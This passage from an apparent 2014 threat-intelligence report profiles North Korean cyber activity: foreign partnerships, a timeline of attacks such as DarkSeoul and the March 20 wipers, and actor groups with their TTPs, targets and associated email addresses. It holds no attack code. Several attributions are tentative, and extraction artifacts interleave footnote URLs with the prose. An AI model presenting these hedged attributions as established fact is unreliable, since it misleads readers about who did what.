+https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2 +http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 +http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/ +http://www.naenara.com.kp/en/kcc/ +North Korea also relies on China to provide much of its network hardware, including servers and +routers.251 +Russia +North Korea has a long history of ties to Russia. The former Soviet Union was the major sponsor +of the North Korean state and a major trading partner. Following the dissolution of the Soviet +Union, aid to North Korea was halted and trade diminished significantly. This chain of events +contributed to North Korea +s eventual economic collapse, as it could not survive without aid.252 +North Korea currently has a collaborative relationship with Russia in the cyber realm. The regime +CSTIA relies on Russia as one of several sources for technical data.253 North Korea also sends +some of its cyber warriors to train in Russia,254 and the regime reportedly acquired its EMP +technology from there.255 +Political ties between Russia and North Korea have become stronger in recent months. In 2014, +potentially as a result of the U.S. response to the Russian-Ukranian conflict, Russia began to +strengthen ties with North Korea. Negotiations reportedly included promises of trade and +development projects. Narushige Michishita, a North Korea and Asia security expert at Japan's +National Graduate Institute for Policy Studies, stated +By strengthening its relationship with North +Korea, Russia is trying to enhance its bargaining position vis- +-vis the United States and Japan. +Russia also recently forgave most of the regime +s debts.257 +Iran +North Korea and Iran have longstanding political and military ties. North Korea supplied Iran with +conventional arms during the Iran-Iraq War. Iran and North Korea reportedly collaborate closely in +ballistic missile development efforts. In the past, Iran provided the North Korean regime with +necessary funds and oil in exchange for missile parts and technology. 258 259 In 2009, a North +Korean plane transporting 35 tons of weapons and allegedly bound for Iran was seized after +making an unscheduled stop in Bangkok, Thailand. That same year, United Arab Emirates seized a +ship bound for Iran that was transporting several containers of North Korean weapons, including +rocket-propelled grenades and ammunition. Reportedly, the customer was a company affiliated +with Iran +s Islamic Revolutionary Guard Corps. 260 261 +North Korea also has cyberwar ties with Iran. In 2012, North Korea and Iran signed a technology +treaty to help combat +common enemies + in cyberspace. The treaty included provisions for +cooperation in research, student exchanges, and joint laboratories. Joint projects reportedly +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 +http://www.aljazeera.com/indepth/opinion/2014/06/n-korea-russia-step-toward-worl-201462253320470677.html +https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf +http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html +http://www.extremetech.com/extreme/170563-north-korea-emp +http://www.theguardian.com/world/2014/jun/04/russia-bolster-ties-north-korea +http://www.voanews.com/content/russia-forgives-north-korean-debt/1939188.html +http://thediplomat.com/2013/10/the-iran-secret-explaining-north-koreas-rocket-success/2/ +http://humanities.tau.ac.il/iranian/en/previous-reviews/10-iran-pulse-en/117-10 +http://www.armscontrol.org/factsheets/dprkchron +http://www.irantracker.org/foreign-relations/north-korea-iran-foreign-relations +include IT information sharing, engineering, biotechnology, renewable energy, and sustainability. +F-Secure +s Mikko Hypponen stated, "It's highly likely that one of the reasons for this co-operation +is for them to work together regarding their cyber defence and cyber offense strategies". +Hypponen cited Flame malware as a possible triggering event for the creation of this treaty. +Others also suspect that Iran and North Korea +s mutual interest in development of nuclear +weapons and the need to protect refineries against malware such as Stuxnet were driving factors +in the establishment of the treaty.262 U.S. House Foreign Affairs Committee leaders assert that the +treaty indicates North Korea and Iran are collaborating on a joint nuclear weapons program.263 +Additionally, North Korea, in conjunction with Iran and Syria, reportedly supports both Hamas and +Hezbollah in procuring kinetic weaponry and communications equipment and in establishing +operational infrastructure.264 265 266 +Syria +North Korea has both a cyber relationship and kinetic weapons ties with Syria. KCC reportedly has +a branch in Syria.267 +In 2007, Israel launched an airstrike, destroying a Syrian target that was allegedly a nuclear facility +under construction with North Korea +s assistance. U.S. officials noted the facility was modeled on +the North Korean nuclear reactor at Yongbyon.268 +The North Korea-Syria relationship becomes more important in the context of both countries + ties +with Iran. As noted above, Iran, North Korea, and Syria jointly provide support to extremist groups +Hamas and Hezbollah.269 270 271 Additionally, as we explored in HPSR Security Briefing Episode 11, +Iran and Syria +s military alliances extend to joint SIGINT and cyber operations.272 +Cuba +North Korea also has an interesting relationship with Cuba + one that includes supplying weapons +and apparent attempts to illegally smuggle weapons. In 2013, a North Korean cargo ship on its +return voyage was stopped near the Panama Canal. The ship was carrying surface-to-air missile +parts, disguised as containers of sugar. In an attempt to save face, Cuba +s Ministry of Foreign +Affairs stated that the cargo included "240 metric tons of obsolete defensive weapons -- two antiaircraft missile complexes Volga and Pechora, nine missiles in parts and spares, two Mig-21 Bis +and 15 motors for this type of airplane, all of it manufactured in the mid-20th century -- to be +http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware +http://www.voanews.com/content/ties-among-north-korea-syria-iran-a-major-security-threat/1639769.html +http://38north.org/2014/08/aberger080514/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+38North+%2838+North%3A+ +Informed+Analysis+of+North+Korea%29 +http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted +http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088 +http://www.naenara.com.kp/en/kcc/ +http://www.armscontrol.org/factsheets/dprkchron +http://38north.org/2014/08/aberger080514/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+38North+%2838+North%3A+ +Informed+Analysis+of+North+Korea%29 +http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted +http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088 +http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243#.U_TiZGSwL-0 +repaired and returned to Cuba." Experts said the cargo appeared to include a SNR-75 Fan Song +fire-control radar system for an SA-2 missile, a Soviet-era missile system that was also used in +Cuba.273 Following the incident, Fidel Castro credited former North Korean leader Kim Il-Sung for +providing Cuba with weapons near the end of the Cold War. Weapons included 100,000 AK rifles +and necessary ammunition.274 +While no apparent cyber relationship exists between North Korea and Cuba at this time, their track +record for weapons trade means the potential for future collaboration in the cyber realm cannot +be discounted. +Timeline of significant North Korean cyber activity +2004 +2006 +2007 +2009 +2010 +North Korea gains access to 33 South Korean military wireless communication +networks275 +The U.S. State Department is attacked by entities in the East Asia-Pacific region. The +attacks coincided with State Department negotiations with North Korea regarding the +regime +s nuclear missile tests. (June)276 +A South Korean military official states North Korea +s Unit 121 has breached South Korean +and U.S. military entities. (July)277 +North Korea tests a logic bomb (October)278 +North Korea states that it is +fully ready for any form of high-tech war. + (June)279 +DarkSeoul DDoS and disk wiping malware targeting South Korean and U.S. government, +media outlet, and financial websites. These attacks also coincided with U.S. Independence +Day. (July)280 281 +Malware for +Operation Troy + was likely planted.282 +DarkSeoul Backdoor.Prioxer detected (June) 283 +Korean Central News Agency website becomes North Korea +s first known direct +connection to the Internet (October)284 +http://www.nbcnews.com/news/other/north-korean-ship-carrying-hidden-missile-equipment-detained-after-leaving-f6C10647045 +http://www.abc.net.au/news/2013-08-15/fidel-castro-cuba-north-korea-war-ussr/4887920 +http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea +http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? +http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea +http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea +http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://powerofcommunity.net/poc2009/si.pdf +http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/ +2011 +2012 +2013 +2014 +10 Days of Rain + Attack - DarkSeoul DDoS and disk wiping malware against South Korean +media, financial, and critical infrastructure targets (March)285 286 +North Korea disrupts South Korean GPS signals (March)287 +North Korea reportedly attempts DDoS attack against Incheon Airport 288 +Nonghyup bank suffers DDoS attack (April)289 +South Korean newspaper JoongAng Ilbo attacked (June)290 +DarkSeoul Downloader.Castov detected (October)291 +North Korea signs treaty with Iran, agreeing to combat +common enemies +cyberspace292 +March 20 + disk wiping attacks against South Korean media and financial institutions +(March)293 +Whois Team claims responsibility for attacking LG +U website with wiper malware and +defacement, impacting South Korean media and financial institutions (March) 294 295 +The New Romantic Cyber Army Team claims responsibility for the same attacks296 +North Korea experiences 36-hour Internet outage. The cause was never definitively +determined297 +Anonymous launches #OpNorthKorea and targets North Korean websites (March)298 +Anonymous allegedly hacks Uriminzokkiri and takes over its Twitter and Flickr pages 299 +(April) +DarkSeoul attack on South Korean financial institutions (May)300 +DarkSeoul DDoS attacks against South Korean government +s DNS server (June)301 +Details on Kimsuky malware, which targeted South Korean think tanks, first released +(September)302 +North Korean drones found near South Korean border (March and April)303 +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli=1 +http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 +http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664 +http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 +http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix61226391202749 +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/ +http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2 +http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage +http://www.northkoreatech.org/2013/03/30/tango-down-more-attacks-on-dprk-websites/ +http://www.washingtontimes.com/news/2013/apr/4/anonymous-hackers-bring-down-north-korean-websites/ +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT +http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/ +Patterns in the noise: cyber incidents attributed to North Korean actors +It is interesting to note that much of North Korea +s cyber activity follows a distinct pattern. +Analysis of North Korean cyber activity gives insight into these patterns and also helps tie +together North Korea +s strategic, tactical, and operational capabilities. Strategic capabilities refer +to the assets used in support of a long-term, overarching goal. Tactical capabilities refer to the +methods and maneuvers actually implemented in pursuit of the strategic goal.304 Operational +capabilities refer to the potential use of these capabilities.305 +In 2004, in response to the annual U.S. + South Korea joint military exercises, North Korea +reportedly gained access to 33 South Korean military wireless communication networks.306 The +next significant cyber attack attributed to North Korea was in June 2006. The U.S. State +Department was attacked by entities in the East Asia-Pacific region. The attacks coincided with +State Department negotiations with North Korea regarding the regime +s nuclear missile tests. 307 +In July 2006, North Korea +s Unit 121 reportedly breached South Korean and U.S. military +entities.308 This attack was concurrent with the regime +s test-fire of at least one long-range +missile and several medium-range missiles.309 +2007 was politically tumultuous for North Korea. Following multi-national talks, the UN +International Atomic Energy Agency (IAEA) ordered the shutdown of the regime +s nuclear facilities +in Yongbyon in July.310 Its nuclear efforts temporarily thwarted, North Korea tested a logic bomb +in October 2007.311 +In April 2009, North Korea ejected IAEA and U.S. nuclear compliance officials. The regime indicated +refusal to comply with any UN agreements regarding nuclear weaponry and announced it would +reinstate its nuclear materials production. The next month, North Korea conducted an +underground nuclear test and voiced its confidence that the regime was well on its way to +producing viable nuclear technology. The UN called an emergency meeting condemning the +nuclear weapons test, and South Korea joined the Proliferation Security Initiative (PSI). North +Korea issued a statement via KCNA calling South Korea +s involvement in PSI an act of war.312 In +June 2009, North Korea stated that it was +fully ready for any form of high-tech war. +313 The +following month, DDoS and disk wiping malware, later known as DarkSeoul, targeted South +Korean and U.S. government entities, media outlets, and financial websites. The attacks coincided +http://www.scholastic.com/teachers/article/strategy-and-tactics-military +http://www.dau.mil/pubscats/Pages/preface.aspx +http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea +http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? +http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea +https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=0CCMQFjAB&url=http%3A%2F%2Fwww.bbc.com%2Fnews%2Fworldasia-pacific15278612&ei=fabyU6XQLsLFigLH94GIAw&usg=AFQjCNGbrzkNZJ5tz4jmLyMPsCHEHc41WA&sig2=l8FMAdbvzFxYeBBOAMWO6Q&bvm=bv.73231344,d +.cGE&cad=rja +http://www.armscontrol.org/factsheets/dprkchron +http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea +http://www.armscontrol.org/factsheets/dprkchron +http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html +with U.S. Independence Day.314 315 Other malware used for Operation Troy was also planted. +Operation Troy would continue for several years, largely undetected.316 +In early 2011, political and military tensions were high. In February, James Clapper, United States +Director of National Intelligence, testified that North Korea likely had undeclared uranium +enrichment facilities as part of its nuclear weapons program.317 In March 2011, South Korean +media, financial, and critical infrastructure targets suffered a DDoS and disk-wiping malware +attack later known as the +10 Days of Rain +. U.S. and South Korean military entities were also +targeted by DDoS during this attack. The attack used the DarkSeoul malware.318 North Korea also +disrupted South Korean GPS signals. Additionally, North Korean actors reportedly attempted a +DDoS attack against South Korea +s Incheon Airport that same month.319 These incidents coincided +with the annual U.S. + South Korea joint military exercises.320 The following month, North Korean +actors reportedly launched a DDoS attack against South Korea +s Nonghyup bank.321 +In 2012, an attack on South Korean Newspaper JoongAng Ilbo was attributed to North Korean +actors. This attack also coincided with the timing of the annual joint U.S. + South Korea military +exercises.322 In September 2012, North Korea signed a cyber treaty with Iran, agreeing the two +nations would collaborate to combat +common enemies + in cyberspace.323 +The week of March 11, 2013, the U.S. and South Korea began their annual joint military exercise +near the Korean Peninsula. Like clockwork, attacks attributed to North Korea and now known as +the March 20 attacks targeted three South Korean media outlets and Shinhan, Nonghyup, and Jeju +banks. North Korea also exhibited other hostile activity at that time. North Korea cut +communication with Seoul and announced it had scrapped the 1953 armistice between the two +Koreas. North Korea +s foreign ministry also issued a statement that it perceived this exercise as a +precursor to invasion and that the regime would respond with a +strong military counteraction +the situation escalated.324 That same week, the North Korean military conducted a drone attack +simulation.325 +On March 18, the Uriminzokkiri YouTube channel posted an anti-U.S. video entitled +Firestorms +Will Rain on the Headquarters of War + that showed a depiction of the White House in crosshairs, +followed by an explosion.326 +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://powerofcommunity.net/poc2009/si.pdf +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://www.armscontrol.org/factsheets/dprkchron +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664 +http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 +http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 +http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix61226391202749 +http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware +http://www.presstv.com/detail/2013/03/20/294499/north-korea-threatens-us-over-bombers/ +http://www.huffingtonpost.com/2013/03/20/north-koreas-drone_n_2914794.html +https://www.youtube.com/watch?v=Dyap eCiOl9A +Figure 25 Uriminzokkiri YouTube video portraying anti-U.S. sentiments. 327 +In May 2013, DarkSeoul malware was used to attack several South Korean financial institutions; +and in June, DarkSeoul DDoS attacks were launched against the South Korean government +s DNS +server. The latter took place on June 25, the anniversary of the start of the Korean War.328 +As evidenced above, much of North Korea +s cyber activity coincides with the annual U.S. + South +Korea joint military exercises. Attacks not following that pattern were typically in response to +political events impacting the regime or correlated with significant dates, such as the anniversary +of the start of the Korean War. The regime +s strategic assets and tactical capabilities in the cyber +arena seem to have evolved only slightly since 2009. Most of the attacks attributed to North +Korea employ limited tactics, and their operational capability demonstrates an increase in the +frequency and volume of attacks but is otherwise unimpressive to date. +In June 2014, the regime demanded cancellation of the annual U.S. - South Korea joint military +exercise, attempting to use participation in the upcoming Asian Games as a bargaining chip.329 The +regime +s demands may have had other political motivations, as they preceded the July 2014 +meeting between South Korean president Park and Chinese President Xi Jinping. The meeting +https://www.youtube.com/watch?v=DyapeCiOl9A +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://www.theguardian.com/world/2014/jun/30/north-korea-demands-cancellation-drills +centered on trade and regional security issues, including the ever-present rhetoric around +denuclearization of North Korea.330 Both leaders were critical of Japan +s recent announcement to +soften sanctions on North Korea.331 As this report headed to press, the annual U.S. + South Korea +joint military exercises were underway.332 +DarkSeoul +The most prominent North Korean threat actor group is the group responsible for the DarkSeoul +malware. According to statements from the South Korean government, North Korea +s Lab 110 +were the actors behind the DarkSeoul malware. South Korean intelligence reports +According to statements +stated that Lab 110, which is affiliated with the regime +s defense ministry, was +from the South Korean +ordered by the North Korean regime to destroy South Korean communications +government, North +Korea +s Lab 110 were the +networks.333 Although the March 20 attacks used DarkSeoul malware, it is interesting +actors behind the +to note that two groups, WhoIs Team and New Romantic Cyber Army Team, claimed +DarkSeoul malware +responsibility for the +March 20 + 2013 attacks on South Korean media and financial +attacks. +institutions.334 +Some of the DarkSeoul attacks corresponded with significant dates, such as U.S. Independence +Day or the anniversary of the start of the Korean War. DarkSeoul attacks go beyond denial of +service and sabotage. As early as 2009, the group responsible for the Dark Seoul attacks +launched +Operation Troy +, an espionage campaign targeting the South Korean military. The +operation was codenamed +Troy + due to the frequent use of the word +Troy + in the malware +compile path strings.335 The malware used in these attacks sought out and exfiltrated data, based +on keyword searches. While the malware was clearly intended to search for and exfiltrate certain +types of data, its true impact on the targets was never revealed. 336 The March 2011 +10 Days of +Rain + DDoS attacks on U.S. and South Korean sites have also been attributed to the actors +associated with DarkSeoul.337 According to Symantec, the politically motivated attacks have +required a level of intelligence, coordination, monetary support, and technical sophistication that +suggests state sponsorship.338 This designation means the group can be considered an advanced +persistent threat (APT). +A March 20, 2013 attack attributed to the DarkSeoul actors targeted three South Korean media +outlets and Shinhan, Nonghyup, and Jeju banks. The impact of the March 20 attacks included +disruption of service at financial institutions and data deletion. However, the targeted entities +resumed normal operations shortly thereafter.339 According to South Korean reports, the media +outlets targeted corresponded with those listed by the North Korean regime in 2012 as right-wing +press that manipulated South Korea +s public opinion. In April 2012, the regime reportedly listed +http://edition.cnn.com/2014/07/02/world/asia/south-korea-xi-visit/index.html?hpt=hp_bn7 +http://mobile.nytimes.com/blogs/sinosphere/2014/07/07/q-and-a-john-delury-on-chinese-south-korean-ties/?smid=tw-share +http://www.globalpost.com/dispatch/news/yonhap-news-agency/140825/n-korea-urges-un-action-against-s-korea-us-military-drill +http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2 +http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? +http://motherboard.vice.com/blog/the-dark-seoul-hackers-were-after-south-korean-military-secrets +http://blogs.mcafee.com/wp-content/uploads/2011/07/McAfee-Labs-10-Days-of-Rain-July-2011.pdf +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewanted=all&_r=1& +those entities as attack targets.340 The malware used in the March 20, 2013 attacks were wiper +malware. The malware attempted to disable AhnLab and Hauri AV antivirus products then +proceeded to overwrite the master boot record (MBR). The attack was capable of wiping both +Linux and Windows machines.341 McAfee found that these attacks were the culmination of the +malware campaign they dubbed +Operation Troy +.342 +A report from IssueMakersLab tied the actors responsible for the March 20, 2013 attacks to cyber +attack activity occurring as early as 2007. IssueMakersLab found that these actors consistently +used the same 16-digit password for file compression, the same stage 1 C2 protocol, the same +collection keywords and encryption keys, and the same development path.343 According to South +Korea +s Korea Internet and Security Agency, the North Korean IP address 175.45.178.xx was +found scanning South Korean routes the month before the attacks,344 and the same IP was +reportedly logged as accessing one of the targets 13 times.345 Details of the March 20 attack also +suggested possible ties to China. AlienVault suspected the Chinese exploit kit GonDad was used to +spread the malware, and the Korean domains serving the malware were registered using a +Chinese email address. Additionally, researchers at AhnLab in South Korea noted a Chinese IP +address linked to the attacks.346 +While no concrete evidence has been released that indicates Lab 110 was responsible for the +DarkSeoul attacks, the responsible group +s targets, TTP, and attack timing demonstrate a strong +pro-North Korean sentiment. +Known tactics, techniques and procedures + Customized wiper malware347 + DDoS + Multi-staged, coordinated attacks348 + Destructive payloads with politically significant trigger dates + Use of politically themed strings when overwriting disk sectors + Utilizing legitimate patching mechanisms to spread malware across corporate networks + Encryption and obfuscation methods that have become their signature + Repeated use of a specific webmail server + Consistent C2 structures + Antivirus disablement and evasion349 + Watering hole attacks + Zero-days + Spearphishing350 +http://english.yonhapnews.co.kr/northkorea/2013/03/21/71/0401000000AEN20130321006700315F.HTML +http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ +http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? +https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli=1 +http://english.yonhapnews.co.kr/national/2013/04/11/79/0301000000AEN20130411008351320F.HTML +http://www.darkreading.com/attacks-and-breaches/how-south-korea-traced-hacker-to-pyongyang/d/d-id/1109491? +http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ +http://news.sky.com/story/1108704/darkseoul-gang-behind-years-of-korea-hacking +http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war +http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ +http://www.infoworld.com/t/data-security/mcafee-uncovers-massive-cyber-espionage-campaign-against-south-korea-222245 +Targets +South Korean military +U.S. sites +Shinhan Bank +Nonghyup Bank351 +Jeju Bank352 +Munhwa Broadcasting Corp. +Korea Broadcasting System353 +South Korean government DNS server +South Korea financial institutions +WhoIs Team +WhoIs Team is one of two groups that claimed responsibility for the +March 20 + attacks targeting +South Korea. A defacement on the LG +U webpage stated that it was +Hacked by WhoIs Team +and that the attackers would return. The page featured three skulls.354 However, no other attacks +by WhoIs Team have been observed. +http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 +http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewanted=all&_r=1& +http://www.businessweek.com/news/2013-03-20/s-dot-korea-hit-by-cyber-attack-roiling-banks-to-broadcasters +http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/ +Figure 26 A defacement by +WhoIs Team + 355 +Known tactics, techniques, and procedures + Wiper malware356 + Defacements +Targets +Took credit for an attack on the LG +U website. +http://nakedsecurity.sophos.com/2013/03/20/south-korea-cyber-attack/ +http://www.mcafee.com/sg/resources/white-papers/wp-dissecting-operation-troy.pdf +Associated actors + dbM4st3r + d3sign3r + APTM4st3r + s3ll3r + vacc1nm45t3r + r3cycl3r +Based on North Korea +s affinity for disinformation and counterintelligence, we must note the +distinct possibility that operatives claiming to be WhoIs Team are part of another group and that +the defacement was a false flag operation meant to pin blame on RAON_ASRT. RAON_ASRT is a +South Korean white hat capture the flag (CTF) team, whose members also operate under the +name +WhoIs +.357 +Figure 27 A screenshot showing that South Korea +s RAON_ASRT white hat CTF team also uses the +moniker WhoIs.358 +RAON_ASRT (the RaonSecure Advanced Security Research Team) and its sub-teams WhoIs Team +and Cpark Team359 have participated in and performed well in CTF contests such as the one +hosted by DefCon. 360 In 2013, a member of RAON_ASRT was invited to Blue House, the residence +of the South Korean president, to meet with president Park and discuss the security industry.361 +RAON_ASRT runs the Secuinside CTF competition.362 Their parent organization RaonSecure +operates a whitehat training program.363 The group also runs the Korea WhiteHat Contest, which +is hosted by South Korea +s Ministry of National Defense and National Intelligence Service and +https://ctftime.org/team/3206 +https://ctftime.org/team/3206 +http://ls-al.org/asrt-has-become-the-winner-of-codegate-2013/ +http://blog.raonsecure.com/62 +http://ls-al.org/asrt-researcher-meets-the-president-park-in-korea/ +http://ls-al.org/asrt-runs-secuinside-ctf/ +http://www.whitehat.co.kr/ +supervised by South Korean Cyber Command.364 For these reasons, it seems unlikely that the +RAON_ASRT WhoIs Team would maliciously target South Korean entities. +IsOne +IsOne is the group that claimed responsibility for the June 2012 attack on the website of South +Korean newspaper JoongAng Ilbo. The attack included an attempt to wipe JoongAng Ilbo +s servers +as well as a defacement depicting a laughing cat. Despite efforts to wipe the target +s servers, the +target only suffered defacement and temporary downtime.365 +Figure 28 Defacement by +IsOne +. 366 +Although the groups have a similar name and both use a cat theme, it is unclear whether a CTF +team known as +The Cat is Number 1 + and IsOne are the same actors. +The Cat is Number 1 +members claim to hail from North Korea, but there is no hard evidence linking team members to +http://ls-al.org/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD-%ED%99%94%EC%9D%B4%ED%8A%B8%ED%96%87%EC%BD%98%ED%85%8C%EC%8A%A4%ED%8A%B8korea-whitehat-contest-%EA%B0%9C%EC%B5%9C/ +http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 +http://bad-bytes.blogspot.co.uk/2012/06/joongang-ilbo-cyber-attack.html +the region.367 Again, it seems that the actors responsible for the attack borrowed the moniker of +another group. +Figure 29 A screenshot of +The Cat is Number One + profile on CTF Time 368 +According to South Korea +s National Police Agency, the attack on JoongAng Ilbo shares +characteristics with previous attacks attributed to North Korean actors. An investigation +conducted by the agency +s Cyber Terror Response Center found that the actors targeting +JoongAng Ilbo used two North Korean servers and 17 servers in 10 other countries. One server +maintained a constant connection to an IP address belonging to Joson Telecommunication +Company, which is affiliated with North Korea +s Ministry of Posts and Telecommunications. +Investigators found that one of the servers used in the attack on JoongAng Ilbo was also used in +the March 2011 DDoS attacks on South Korean critical infrastructure sites and the April 2011 +attack on Nyongyup Bank.369 +Known tactics, techniques and procedures + Wiper malware + Defacements +Targets +Took credit for defacing JoongAng Ilbo. +https://ctftime.org/team/2538 +https://ctftime.org/team/2538 +http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 +Kimsukyang +The Kimsuky malware, which targeted South Korean think tanks, is loosely attributed to an actor +referred to as Kimsukyang. Little is known about the actor or group responsible for the malware. +However, the following email addresses are associated with the Kimsuky operation:370 +beautifl@mail.bg +ennemyman@mail.bg +fasionman@mail.bg +happylove@mail.bg +lovest000@mail.bg +monneyman@mail.bg +sportsman@mail.bg +veryhappy@mail.bg +iop110112@hotmail.com +rsh1213@hotmail.com +The email address iop110112@hotmail.com was registered using the alias +kimsukyang +, and +rsh1213@hotmail.com was registered using the alias +Kim asdfa +Kaspersky found that the Kimsuky operation used 10 IP addresses in two Chinese provinces that +border North Korea: Jilin and Liaoning.371 +Known tactics, techniques and procedures + Malware with keylogger and data exfiltration capabilities + Malware disables AhnLab security software372 +Targets +Sejong Institute +Korea Institute for Defense Analyses (KIDA) +Ministry of Unification +Hyundai Merchant Marine +The Supporters of Korean Unification373 +New Romantic Cyber Army Team / Hastati +The New Romantic Cyber Army Team also took credit for the March 20, 2013 attacks. McAfee +suspected New Romantic Cyber Army Team were responsible for Operation Troy and the resulting +March 20, 2013 attacks due to the group +frequent use of Roman and classical terms in their +http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5 +http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT +http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT +code. +374 It is unknown whether Hastati is an alternate name for the group or whether Hastati is +an individual actor within the group. +It is interesting to note that the malware associated with these actors uses the strings +HASTATI +and +PRINCIPES + to overwrite the MBR. The name Hastati likely refers to a class of infantrymen of +the early Roman Republic. The Hastati 